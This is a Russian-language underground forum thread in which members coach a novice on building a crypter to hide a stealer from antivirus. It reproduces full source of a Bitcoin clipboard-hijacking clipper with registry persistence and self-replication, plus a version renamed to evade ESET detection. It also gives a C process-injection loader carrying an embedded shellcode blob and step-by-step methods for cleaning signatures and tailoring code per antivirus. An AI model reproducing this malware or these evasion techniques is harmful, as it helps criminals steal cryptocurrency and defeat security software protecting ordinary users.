Попытка сделать свой первый криптор. Есть вопросы

dazayanarchy

RAID-массив
Пользователь
Регистрация
03.03.2024
Сообщения
55
Реакции
4
Всем доброго времени суток
Была очень интересна тема криптования файлов и сокрытия вредоносов от антивирусных-программ

Сразу скажу я полный чайник и делал это исключительно из любопытства

Пару увлекательных вечеров просидел с chatgpt и получился примитивный криптор на C++
Кода не будет, просто есть пару абстрактных вопросов чтобы расставить все точки над И

Коротко и просто опишу алгоритм:
Получается есть вредонос.exe , криптор берет его двоичный код, шифрует его XOR-шифрованием и на выходе получаю наш зашифрованный вредонос в виде encrypted_program.bin
Далее стаб. Внутри ключ для расшифровки шифра, стаб расшифровует и запускает вредонос. Берет он двоичный зашифрованный код из encrypted_program.bin который будет спрятан в заголовках PE файла этого же стаба после компиляции

Протестил, нашел старый билд стилера на фо, на выходе получил из 45 детектов 25 на virustotal. Почти в 2 раза меньше детеков (пс я знаю что vt сливает это все дело)

Теперь вопросы:
1. Это я описал процесс работы стабового криптора, верно? Какие еще самые популярные виды крипторов существуют и можете пожалуйста в двух словах очень просто описать принцип работы каждого?
2.После залива на VT через пару-тройку часов кол-во детектов почти вернулось на свой исход 40 детектов. Почему не достаточно просто поменять ключ для расшифровки нашего XOR-алгоритма на другой чтобы снова вернулось 25 детеков? Видел термины "почистить стаб", что в себя включает эта чистка?
3.Правильно ли я понимаю, что такой простой вид криптования может скрыть от некоторых антивирусов только на этапе scantime? т.е когда мы не запускаем программу. А чтобы скрыть для runtime нужно запускать в памяти используя runPE/loadPE

Пожалуйста не кидайтесь камнями, возможно то что я описал выше вообще нельзя назвать криптором. Просто почитал в разных темах на разных форумах и как-то так выстроилось представление о стабовом крипторе
И спасибо за внимание :)
 
Имхо, детекты лучше всего фиксятся если время от времени динамически переписывать код. Если наработаешь достаточно навыков что бы писать и поддерживать свою собственную малварь, то даже если он и понадобиться то написать будет плевое дело. Не хочешь что бы малварь быстро детектили? Учи WinAPI и чистый С, что бы уметь реализовать все нужные субпрограмы самому. Навыки обфускации тоже лишними не будут. Тут нет правильного и одного решения. У каждого свои нароботки и "трюки" которые помогают пробыть на плыву подольше. Если ты принял решение занятся малварью. то подходи к этому з более фундаментальной стороны, а не з более легкой.
 
Правильно ли я понимаю, что такой простой вид криптования может скрыть от некоторых антивирусов только на этапе scantime?
Я не спец, но отвечу как я вижу это.

Это как архив, когда ты запаковал файл, зашифровал под пароль - они не видят сигнатуры т.к. файл изменился, но когда ты распаковываешь файл - они видят уже файл стиллера и детектят его т.к. он такой же как и был раньше

Иногда не видят, или не сразу видят и файл запускается, выполняется без детектов на каких-то антивирусах.
Иногда выполняется в песочнице на авасте например и потом вешают детект спустя время (Ну раньше так было, 10 лет назад)

Внутри ключ для расшифровки шифра
Это как пароль от архива считай

-------------------
2.После залива на VT через пару-тройку часов кол-во детектов почти вернулось на свой исход 40 детектов. Почему не достаточно просто поменять ключ для расшифровки нашего XOR-алгоритма на другой чтобы снова вернулось 25 детеков?
Сколько детектов, если залить пустой стаб без стиллера?
Они вешают детекты на твой стаб

Стаб - это условно программка которая берет архив, вводит пароль от архива и открывает программку из архива.
То есть у тебя есть условно .rar и stub.exe которые лежат в одной папке и стаб просто распаковывает .rar и достает оттуда стиллер, который затем запускает

И вот на моменте когда он достает, антивирусы могут запалить в рантайме по разным параметрам и сигнатурам твой стиллер и стаб тоже.

Если твоя программка ведет себя всегда одинаково: Берет пароль, вводит пароль, распаковывает какой-то .exe и запускает - они вешают на эту программку сигнатуру и уже не важно что ты будешь паковать т.к. твой стаб пометили как вирус-распаковщик-дропер.
-------------------
Видел термины "почистить стаб", что в себя включает эта чистка?
Когда на стаб навесили детекты по сигнатурам, ты должен сделать так чтобы стаб стал другим (сгинатуры изменились) - это и будет чистка

Допустим стаб делает:
Function Найти пароль
Function РаспаковатьЗашифрованныйФайл
Function ЗапуститьЗашифрованныйФайл
...
Еще какие-то функции

Тебе нужно изменить названия функций, обфусцировать всячески код, чтобы стаб стал делать например так:
Function Запуск
Function Ждать 5 секунд
Function Найти пароль
Function ЗашифрованныйФайлРаспаковать
Function Произвести вычисления 10+5+19501 = ...
Function Ждать 1+1+5 секунду
Function ЗапуститьФайлЗашифрованный

Тогда твой стаб станет немного другим уже (мы добавили мусора туда) и детектов станет меньше. (Можешь попробовать закинуть на сканер и посмотреть, но не кидай на вирустотал)

Раньше была такая программка AVpizda, она разбивала файл (твой стаб или любой файл-вирус который ты хочешь почистить) на куски через HEX и получалась кучай кусков твоего файла в какой-нибудь папке которую ты укажешь
001.exe
002.exe
003.exe
То есть каждый кусок - это кусок твоего стаба вырезнный в хекс редакторе, срезанный от основного стаба

У тебя получалась папка с кучей кусков твоего стаба, ты запускал виртуальную машину с антивирусом который детектит твой стаб (под каждый антивирус своя виртуальная машина), от которого ты хочешь почистить детекты

Затем ты этот антивирус направлял на папку с HEX кусками твоего стаба и он удалял например 002.exe
Затем ты открывал 002.exe в HEX редакторе и видел сигнатуру по которой антивирус палит твой стаб

Затем ты брал кусок этот из 002.exe и делал поиск этого куска в основном стабе через HEX редактор и видел этот кусок уже в самом файле. А потом, ты мог изменить например маленькие буквы на заглавные или один байт какой-то в HEX'e и сигнатура уже была другой, антивирус уже не видел ту сигнатуру на которую был детект, но ты так же можешь и например обфусцировать этот кусок кода в исходном коде

Например была Function xxx = строка xxx в хексе будет представлена как 78 78 78
А ты сделал Function XxX = строка XxX в хексе уже будет 58 78 58

Таким образом сигнатура изменилась (ты можешь изменить как в хексе, так и в исходном коде) и антивирус перестал тебя детектить!
Если несколько сигнатур, он может детектить начать уже по другому

Допустим детектил как дропер-155
А стал детектить как троян-дропер-196 (уже по другой сигнатуре)

И таким образом тебе нужно почистить (заменить что-то/поменять/сделать по другому) все сигнатуры по которым он тебя детектит, но суть оставить такую же, чтобы это все так же был распаковщик архива по паролю

Допустим раньше ты пароль хранил в самом стабе
А теперь пароль будет хранится у тебя на сервере и стаб будет звонить на сервер и спрашивать пароль, прежде чем распаковывать файл

А можешь просто взять какой-нибудь обфускатор и обфусцировать код, затем скомпилить и залить уже с обфусцированным кодом программку на antiscan точка me например (не знаю работает он сейчас или нет) и посмотреть на детекты
 
А чтобы скрыть для runtime нужно запускать в памяти
Ты можешь распаковать файл из архива на рабочий стол и запустить его
А можешь запустить его в памяти, не распаковывая и детектов будет поменьше

Либо какие-то еще методы, которые ты выдумаешь.
Придумывают там всякие инжекты в процессы, драйвера какие-то, еще что-то - не знаю, не разбираюсь в этом, просто слышал что-то такое

В общем тебе нужно изменить стаб, но оставить суть
Можешь изменить методы шифрования, чтобы стиллер шифровался например не XOR, а каким-то другим или двумя шифрами, сначал одним, потом другим и распаковывался так же и посмотреть какие тогда будут детекты - станет их больше или меньше
 
Живой пример
ESET-NOD32 определяет данный код (взял код клипера с github для примера) как Python/ClipBanker.BK
Если ты зальешь этот код как 1.py на вирустотал, он покажет, что это вирус Python/ClipBanker.BK
Код:
import time
import subprocess
import ctypes
import re
import winreg
import os
import sys
import logging

BTC_ADDRESS = 'you have been infected by btc clipper malware'

#Add code/ message in current.py file after deleting current .py file contents after replicating.
SELF_DESTRUCT_MESSAGE = 'File contents have been deleted. \n To remove the \
btc clipper, Delete it from %APPDATA% and delete it from Startup in the Registry Editor'

logging.basicConfig(format='[%(asctime)s] %(message)s', datefmt='%H:%M:%S', level=logging.DEBUG) #debug mode on

FirstTime = True

class Clipboard:
    def __init__(self):
        logging.debug('Clipboard init')
        self.kernel32 = ctypes.windll.kernel32
        self.kernel32.GlobalLock.argtypes = [ctypes.c_void_p]
        self.kernel32.GlobalLock.restype = ctypes.c_void_p
        self.kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p]
       
        self.user32 = ctypes.windll.user32
        self.user32.GetClipboardData.restype = ctypes.c_void_p
   
    def __enter__(self):
        self.user32.OpenClipboard(0)
        if self.user32.IsClipboardFormatAvailable(1):
            data  = self.user32.GetClipboardData(1)
            data_locked = self.kernel32.GlobalLock(data)
            text = ctypes.c_char_p(data_locked)
            value = text.value
            self.kernel32.GlobalUnlock(data_locked)
           
            try:
                return value.decode()
           
            except Exception as e:
                logging.debug(e)
                return ''

    def __exit__(self, exc_type, exc_value, exc_traceback):
        self.user32.CloseClipboard()

class Methods:
    #regex = '\w{25,}'
    regex = '^(bc1|[13])[a-zA-HJ-NP-Z0-9]+'

    @staticmethod
    def set_clipboard(text):
        logging.debug('Set clipboard')
        return subprocess.check_call('echo %s |clip' % text.strip() , shell=True)
   
    def check(self, text):
        try:
            regex_check = re.findall(self.regex, text)
            if regex_check:
                return True

        except Exception as e:
            logging.debug(e)
       
        return False

def add_to_registry():
   logging.debug('Adding to startup registry')
   path = os.getenv('APPDATA')

   logging.debug(path)

   file_name= sys.argv[0] #BACK

   address = os.getenv('LOCALAPPDATA') + '\\Programs\\Python\\Launcher\\py.exe' + ' ' + '-i ' + '"' + path + '\\' + file_name + '"'

   key1 = winreg.HKEY_CURRENT_USER
   key_value1 ="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"

   open_ =winreg.CreateKeyEx(key1,key_value1,0,winreg.KEY_WRITE)
   
   if open_:
        logging.debug('Registry Key created')

   winreg.SetValueEx(open_,"BTC CLIPPER",0,winreg.REG_SZ,address)
 
   open_.Close()

def replicate():
    virus_code = []

    with open(sys.argv[0], 'r', encoding='utf-8') as f:
        lines = f.readlines()
        for line in lines:
            virus_code.append(line)

    path =  os.getenv('APPDATA') + '\\'
    hide_path = os.getenv('APPDATA') + '\\' + sys.argv[0] #BACK
    logging.debug('Hide path: %s '% hide_path)

    with open(hide_path, 'w', encoding='utf-8') as f:
        for line in virus_code:
            f.write(line)
            if line == 'FirstTime = True\n':
                logging.debug(line)
                f.write('FirstTime = False\n')


    logging.debug('Finished replicating to APPDATA')

def self_destruct():
    logging.debug('Self destruct called.')
    with open(sys.argv[0], 'w', encoding='utf-8') as f:
        f.write(SELF_DESTRUCT_MESSAGE)

def start():
    m = Methods()
    while True:
        with Clipboard() as clipboard:
            time.sleep(0.1)
            target_clipboard = clipboard
            logging.debug('Text found in clipboard: %s' % target_clipboard)

        if m.check(target_clipboard):
            logging.debug('Probably a btc address.')
            logging.debug('Original clipboard: %s' % target_clipboard)
            logging.debug('Setting clipboard to %s' % BTC_ADDRESS)
            m.set_clipboard(BTC_ADDRESS)        
       
        else:
            logging.debug('Not a btc address?')

        time.sleep(1)

def main():
    if FirstTime:
        logging.debug('Starting BTC Clipper')
        replicate()
        add_to_registry()
        self_destruct()
        hide_path = os.getenv('APPDATA') + '\\' + sys.argv[0]
        start()
       
    else:
        start()

main()

А ругается он на этот кусок кода (Я это вычислил заливая код кусками), значит где-то на нем висит сигнатура, которую он видит и по которой он определяет что весь файл клипер
Код:
class Clipboard:
    def __init__(self):
        logging.debug('Clipboard init')
        self.kernel32 = ctypes.windll.kernel32
        self.kernel32.GlobalLock.argtypes = [ctypes.c_void_p]
        self.kernel32.GlobalLock.restype = ctypes.c_void_p
        self.kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p]
       
        self.user32 = ctypes.windll.user32
        self.user32.GetClipboardData.restype = ctypes.c_void_p
   
    def __enter__(self):
        self.user32.OpenClipboard(0)
        if self.user32.IsClipboardFormatAvailable(1):
            data  = self.user32.GetClipboardData(1)
            data_locked = self.kernel32.GlobalLock(data)
            text = ctypes.c_char_p(data_locked)
            value = text.value
            self.kernel32.GlobalUnlock(data_locked)
           
            try:
                return value.decode()
           
            except Exception as e:
                logging.debug(e)
                return ''

    def __exit__(self, exc_type, exc_value, exc_traceback):
        self.user32.CloseClipboard()

class Methods:
    #regex = '\w{25,}'
    regex = '^(bc1|[13])[a-zA-HJ-NP-Z0-9]+'

    @staticmethod
    def set_clipboard(text):
        logging.debug('Set clipboard')
        return subprocess.check_call('echo %s |clip' % text.strip() , shell=True)
   
    def check(self, text):
        try:
            regex_check = re.findall(self.regex, text)
            if regex_check:
                return True

        except Exception as e:
            logging.debug(e)
       
        return False

Теперь я переименую переменные с e на HYIeset32 ... и переменную text на HYI_ESET32
Поменяю regex = '^(bc1|[13])[a-zA-HJ-NP-Z0-9]+' на regex = '^(?:bc1|[13])[a-zA-HJ-NP-Z0-9]+'
Поменяю logging.debug('Clipboard init') на logging.debug('CIipb0aRd inIt')
И у нас получится вот что

Этот код уже НЕ ПАЛИТСЯ:
Код:
class Clipboard:
    def __init__(self):
        logging.debug('CIipb0aRd inIt')
        self.kernel32 = ctypes.windll.kernel32
        self.kernel32.GlobalLock.argtypes = [ctypes.c_void_p]
        self.kernel32.GlobalLock.restype = ctypes.c_void_p
        self.kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p]
       
        self.user32 = ctypes.windll.user32
        self.user32.GetClipboardData.restype = ctypes.c_void_p
   
    def __enter__(self):
        self.user32.OpenClipboard(0)
        if self.user32.IsClipboardFormatAvailable(1):
            data  = self.user32.GetClipboardData(1)
            data_locked = self.kernel32.GlobalLock(data)
            HYI_ESET32 = ctypes.c_char_p(data_locked)
            value = HYI_ESET32.value
            self.kernel32.GlobalUnlock(data_locked)
           
            try:
                return value.decode()
           
            except Exception as HYIeset32:
                logging.debug(HYIeset32)
                return ''

    def __exit__(self, exc_type, exc_value, exc_traceback):
        self.user32.CloseClipboard()

class Methods:
    #regex = '\w{25,}'
    regex = '^(?:bc1|[13])[a-zA-HJ-NP-Z0-9]+'

    @staticmethod
    def set_clipboard(HYI_ESET32):
        logging.debug('Set clipboard')
        return subprocess.check_call('echo %s |clip' % HYI_ESET32.strip() , shell=True)
   
    def check(self, HYI_ESET32):
        try:
            regex_check = re.findall(self.regex, HYI_ESET32)
            if regex_check:
                return True

        except Exception as HYIeset32:
            logging.debug(HYIeset32)
       
        return False
И вот данный код он уже не опеределяет как вирус, хотя суть особо не изменилась, но сигнатура изменилась
Если ты сделаешь программку обфускатор, которая будет менять названия переменных, либо обращаться к функции какой-то или вместо целых чисел будешь спользовать сложение
x = 10
x = 5+5
И то и то равно 10, но сигнатура разная
То стаб уже не будет палится по сигнатурам

То есть, если ты сделаешь чтобы в стабе каждый раз (перед каждым криптом) менялись названия функций (получится по сути новый стаб с новыми сигнатурами), названия переменных менялись и тд. получится полиморфный криптор уже - который каждый раз меняется(меняет стаб), для каждого крипта

Но антивирусы могут палить не только по сигнатурам каким-то простым, могут по таким которые ты убрать не сможешь

И вот полный код (можешь сравнить с кодом в самом начале):
Код:
import time
import subprocess
import ctypes
import re
import winreg
import os
import sys
import logging

# DEVELOPED BY NIGHTFALL#2512 / GITHUB.COM/NIGHTFALLGT / EDUCATIONAL PURPOSES ONLY

BTC_ADDRESS = 'you have been infected by btc clipper malware'

#Add code/ message in current.py file after deleting current .py file contents after replicating.
SELF_DESTRUCT_MESSAGE = 'File contents have been deleted. \n To remove the \
btc clipper, Delete it from %APPDATA% and delete it from Startup in the Registry Editor'

logging.basicConfig(format='[%(asctime)s] %(message)s', datefmt='%H:%M:%S', level=logging.DEBUG) #debug mode on

FirstTime = True

class Clipboard:
    def __init__(self):
        logging.debug('CIipb0aRd inIt')
        self.kernel32 = ctypes.windll.kernel32
        self.kernel32.GlobalLock.argtypes = [ctypes.c_void_p]
        self.kernel32.GlobalLock.restype = ctypes.c_void_p
        self.kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p]
       
        self.user32 = ctypes.windll.user32
        self.user32.GetClipboardData.restype = ctypes.c_void_p
   
    def __enter__(self):
        self.user32.OpenClipboard(0)
        if self.user32.IsClipboardFormatAvailable(1):
            data  = self.user32.GetClipboardData(1)
            data_locked = self.kernel32.GlobalLock(data)
            HYI_ESET32 = ctypes.c_char_p(data_locked)
            value = HYI_ESET32.value
            self.kernel32.GlobalUnlock(data_locked)
           
            try:
                return value.decode()
           
            except Exception as HYIeset32:
                logging.debug(HYIeset32)
                return ''

    def __exit__(self, exc_type, exc_value, exc_traceback):
        self.user32.CloseClipboard()

class Methods:
    #regex = '\w{25,}'
    regex = '^(?:bc1|[13])[a-zA-HJ-NP-Z0-9]+'

    @staticmethod
    def set_clipboard(HYI_ESET32):
        logging.debug('Set clipboard')
        return subprocess.check_call('echo %s |clip' % HYI_ESET32.strip() , shell=True)
   
    def check(self, HYI_ESET32):
        try:
            regex_check = re.findall(self.regex, HYI_ESET32)
            if regex_check:
                return True

        except Exception as HYIeset32:
            logging.debug(HYIeset32)
       
        return False

def add_to_registry():
   logging.debug('Adding to startup registry')
   path = os.getenv('APPDATA')

   logging.debug(path)

   file_name= sys.argv[0] #BACK

   address = os.getenv('LOCALAPPDATA') + '\\Programs\\Python\\Launcher\\py.exe' + ' ' + '-i ' + '"' + path + '\\' + file_name + '"'

   key1 = winreg.HKEY_CURRENT_USER
   key_value1 ="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"

   open_ =winreg.CreateKeyEx(key1,key_value1,0,winreg.KEY_WRITE)
   
   if open_:
        logging.debug('Registry Key created')

   winreg.SetValueEx(open_,"BTC CLIPPER",0,winreg.REG_SZ,address)
 
   open_.Close()

def replicate():
    virus_code = []

    with open(sys.argv[0], 'r', encoding='utf-8') as f:
        lines = f.readlines()
        for line in lines:
            virus_code.append(line)

    path =  os.getenv('APPDATA') + '\\'
    hide_path = os.getenv('APPDATA') + '\\' + sys.argv[0] #BACK
    logging.debug('Hide path: %s '% hide_path)

    with open(hide_path, 'w', encoding='utf-8') as f:
        for line in virus_code:
            f.write(line)
            if line == 'FirstTime = True\n':
                logging.debug(line)
                f.write('FirstTime = False\n')


    logging.debug('Finished replicating to APPDATA')

def self_destruct():
    logging.debug('Self destruct called.')
    with open(sys.argv[0], 'w', encoding='utf-8') as f:
        f.write(SELF_DESTRUCT_MESSAGE)

def start():
    m = Methods()
    while True:
        with Clipboard() as clipboard:
            time.sleep(0.1)
            target_clipboard = clipboard
            logging.debug('Text found in clipboard: %s' % target_clipboard)

        if m.check(target_clipboard):
            logging.debug('Probably a btc address.')
            logging.debug('Original clipboard: %s' % target_clipboard)
            logging.debug('Setting clipboard to %s' % BTC_ADDRESS)
            m.set_clipboard(BTC_ADDRESS)        
       
        else:
            logging.debug('Not a btc address?')

        time.sleep(1)

def main():
    if FirstTime:
        logging.debug('Starting BTC Clipper')
        replicate()
        add_to_registry()
        self_destruct()
        hide_path = os.getenv('APPDATA') + '\\' + sys.argv[0]
        start()
       
    else:
        start()

main()
Вот примерно так чистишь свой стаб, через метод который с HEX'om
Разбиваешь свой стаб в HEX'e на куски, сохраняешь (получится много кусков по определенному кол-ву байт), затем травишь антивирус и смотришь на каком куске сигнатура и чистишь эту сигнатуру чтобы суть оставалась такой же, файл продолжал работать, но сигнатура поменялась

Было:
0823498234.png

Cтало:
1111111111111.png
 
Последнее редактирование:
Понял, спасибо большое за такой развернутый ответ). Есть вопрос
Это как архив, когда ты запаковал файл, зашифровал под пароль - они не видят сигнатуры т.к. файл изменился, но когда ты распаковываешь файл - они видят уже файл стиллера и детектят его т.к. он такой же как и был раньше
но ведь он "распаковывается" только когда мы запускаем программу. А тут даже на этапе скантайма детектит
 
А тут даже на этапе скантайма детектит
Потому что сигнатуры твоего стаба есть в базах антивирусов, либо криптор плохо шифрует основной файл.
Чтобы проверить первое или второе - тебе нужно залить стаб на сканер и посмотреть, есть ли на нем детекты. Если детектов нет - значит, наверное он плохо шифрует основной (криптуемый вредонос) файл и антивирусы видят сигнатуры шифрованного вредоноса

Тогда попробуй шифровать например 2 раза разными алгоритмами и распоковывать потом тоже 2 раза

Меняй стаб, я тебе показал как на примере клипера и описал пример с разбитием стаба в HEX редакторе на части и натравливанием на него антивируса.
Получается есть вредонос.exe , криптор берет его двоичный код, шифрует его XOR-шифрованием и на выходе получаю наш зашифрованный вредонос в виде encrypted_program.bin
Должно быть так:
1.Криптор.ехе (Упаковщик)
2.Стаб.ехе (Распаковщик и запускатор вредоноса)
3.Вредонос.ехе

Криптор.ехе берет вредонос.ехе и шифрует его, чтобы он изменился, не выглядел как раньше и антивирусы не видели его сигнатуры, затем криптор.ехе шифрованный вредонос вписывает в определенное место в стаб.ехе и получается билд.ехе (стаб+вписанный в него вредонос)

Так вот возьми свой стаб.ехе (без вписанного в него вредоноса) и залей на сканер, посмотри сначала палится ли твой стаб!
Если твой стаб палится - чисти стаб сначала и только потом уже в этот стаб вписывай закриптованный вредонос
------------
Это естественно, если стаб грязный, ты в него хоть блокнот.ехе запиши, конечный билд стаб+блокнот будет палиться
А если стаб чистый и не палится - ты можешь вписать в него вредонос (при условии, что вредонос хорошо зашифрован и сигнатуры не видно) - он не будет палится во время сканирования, но во время распаковки некоторыми антивирусами будет палится все равно
 
Последнее редактирование:
Потому что сигнатуры твоего стаба есть в базах антивирусов, либо криптор плохо шифрует основной файл.
Чтобы проверить первое или второе - тебе нужно залить стаб на сканер и посмотреть, есть ли на нем детекты. Если детектов нет - значит, наверное он плохо шифрует основной (криптуемый вредонос) файл и антивирусы видят сигнатуры шифрованного вредоноса

Тогда попробуй шифровать например 2 раза разными алгоритмами и распоковывать потом тоже 2 раза

Меняй стаб, я тебе показал как на примере клипера и описал пример с разбитием стаба в HEX редакторе на части и натравливанием на него антивируса.

Должно быть так:
1.Криптор.ехе (Упаковщик)
2.Стаб.ехе (Распаковщик и запускатор вредоноса)
3.Вредонос.ехе

Криптор.ехе берет вредонос.ехе и шифрует его, чтобы он изменился, не выглядел как раньше и антивирусы не видели его сигнатуры, затем криптор.ехе шифрованный вредонос вписывает в определенное место в стаб.ехе и получается билд.ехе (стаб+вписанный в него вредонос)

Так вот возьми свой стаб.ехе (без вписанного в него вредоноса) и залей на сканер, посмотри сначала палится ли твой стаб!
Если твой стаб палится - чисти стаб сначала и только потом уже в этот стаб вписывай закриптованный вредонос
------------
Это естественно, если стаб грязный, ты в него хоть блокнот.ехе запиши, конечный билд стаб+блокнот будет палиться
А если стаб чистый и не палится - ты можешь вписать в него вредонос (при условии, что вредонос хорошо зашифрован и сигнатуры не видно) - он не будет палится во время сканирования, но во время распаковки некоторыми антивирусами будет палится все равно
If we are in the simplest process injection, will there be a so-called "stub"? Or should we distinguish between loader and crypter, and only crypter has stub?

C:
#include "stdafx.h"
#include "Windows.h"

int main(int argc, char *argv[])
{
    unsigned char shellcode[] =
        "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
        "\xff\xff\x48\xbb\x1d\xbe\xa2\x7b\x2b\x90\xe1\xec\x48\x31\x58"
        "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xe1\xf6\x21\x9f\xdb\x78"
        "\x21\xec\x1d\xbe\xe3\x2a\x6a\xc0\xb3\xbd\x4b\xf6\x93\xa9\x4e"
        "\xd8\x6a\xbe\x7d\xf6\x29\x29\x33\xd8\x6a\xbe\x3d\xf6\x29\x09"
        "\x7b\xd8\xee\x5b\x57\xf4\xef\x4a\xe2\xd8\xd0\x2c\xb1\x82\xc3"
        "\x07\x29\xbc\xc1\xad\xdc\x77\xaf\x3a\x2a\x51\x03\x01\x4f\xff"
        "\xf3\x33\xa0\xc2\xc1\x67\x5f\x82\xea\x7a\xfb\x1b\x61\x64\x1d"
        "\xbe\xa2\x33\xae\x50\x95\x8b\x55\xbf\x72\x2b\xa0\xd8\xf9\xa8"
        "\x96\xfe\x82\x32\x2a\x40\x02\xba\x55\x41\x6b\x3a\xa0\xa4\x69"
        "\xa4\x1c\x68\xef\x4a\xe2\xd8\xd0\x2c\xb1\xff\x63\xb2\x26\xd1"
        "\xe0\x2d\x25\x5e\xd7\x8a\x67\x93\xad\xc8\x15\xfb\x9b\xaa\x5e"
        "\x48\xb9\xa8\x96\xfe\x86\x32\x2a\x40\x87\xad\x96\xb2\xea\x3f"
        "\xa0\xd0\xfd\xa5\x1c\x6e\xe3\xf0\x2f\x18\xa9\xed\xcd\xff\xfa"
        "\x3a\x73\xce\xb8\xb6\x5c\xe6\xe3\x22\x6a\xca\xa9\x6f\xf1\x9e"
        "\xe3\x29\xd4\x70\xb9\xad\x44\xe4\xea\xf0\x39\x79\xb6\x13\xe2"
        "\x41\xff\x32\x95\xe7\x92\xde\x42\x8d\x90\x7b\x2b\xd1\xb7\xa5"
        "\x94\x58\xea\xfa\xc7\x30\xe0\xec\x1d\xf7\x2b\x9e\x62\x2c\xe3"
        "\xec\x1c\x05\xa8\x7b\x2b\x95\xa0\xb8\x54\x37\x46\x37\xa2\x61"
        "\xa0\x56\x51\xc9\x84\x7c\xd4\x45\xad\x65\xf7\xd6\xa3\x7a\x2b"
        "\x90\xb8\xad\xa7\x97\x22\x10\x2b\x6f\x34\xbc\x4d\xf3\x93\xb2"
        "\x66\xa1\x21\xa4\xe2\x7e\xea\xf2\xe9\xd8\x1e\x2c\x55\x37\x63"
        "\x3a\x91\x7a\xee\x33\xfd\x41\x77\x33\xa2\x57\x8b\xfc\x5c\xe6"
        "\xee\xf2\xc9\xd8\x68\x15\x5c\x04\x3b\xde\x5f\xf1\x1e\x39\x55"
        "\x3f\x66\x3b\x29\x90\xe1\xa5\xa5\xdd\xcf\x1f\x2b\x90\xe1\xec"
        "\x1d\xff\xf2\x3a\x7b\xd8\x68\x0e\x4a\xe9\xf5\x36\x1a\x50\x8b"
        "\xe1\x44\xff\xf2\x99\xd7\xf6\x26\xa8\x39\xea\xa3\x7a\x63\x1d"
        "\xa5\xc8\x05\x78\xa2\x13\x63\x19\x07\xba\x4d\xff\xf2\x3a\x7b"
        "\xd1\xb1\xa5\xe2\x7e\xe3\x2b\x62\x6f\x29\xa1\x94\x7f\xee\xf2"
        "\xea\xd1\x5b\x95\xd1\x81\x24\x84\xfe\xd8\xd0\x3e\x55\x41\x68"
        "\xf0\x25\xd1\x5b\xe4\x9a\xa3\xc2\x84\xfe\x2b\x11\x59\xbf\xe8"
        "\xe3\xc1\x8d\x05\x5c\x71\xe2\x6b\xea\xf8\xef\xb8\xdd\xea\x61"
        "\xb4\x22\x80\xcb\xe5\xe4\x57\x5a\xad\xd0\x14\x41\x90\xb8\xad"
        "\x94\x64\x5d\xae\x2b\x90\xe1\xec";

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;

    printf("Injecting to PID: %i", atoi(argv[1]));
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(processHandle);

    return 0;
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Имхо, детекты лучше всего фиксятся если время от времени динамически переписывать код. Если наработаешь достаточно навыков что бы писать и поддерживать свою собственную малварь, то даже если он и понадобиться то написать будет плевое дело. Не хочешь что бы малварь быстро детектили? Учи WinAPI и чистый С, что бы уметь реализовать все нужные субпрограмы самому. Навыки обфускации тоже лишними не будут. Тут нет правильного и одного решения. У каждого свои нароботки и "трюки" которые помогают пробыть на плыву подольше. Если ты принял решение занятся малварью. то подходи к этому з более фундаментальной стороны, а не з более легкой.
Ага в простонародии - это называется взгляд наперед, планирование исправления последствий детектов)
 
Ещё могу посоветовать со своей колокольни, чистый стаб-exe на скантайме это конечно хорошо и просто, но когда доходит дело до рантайма я за**ывался делать нечто глобальное в коде, и самое лучшее что придумал, это просто выпаливать какой ав стоит в системе, и в коде против этого ав делать свою часть кода которую он не палит.
тем самым из 25 ав, детектили 15 ав, 3 по 5, у каждой петёрки рекция на определённую работу проги, я просто вычислял что детектят и для каждой пятёрки подкручивал гайки ^_^
после такой чистки детект 0 ( п.с. обычно всегда за**ывал форти )
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх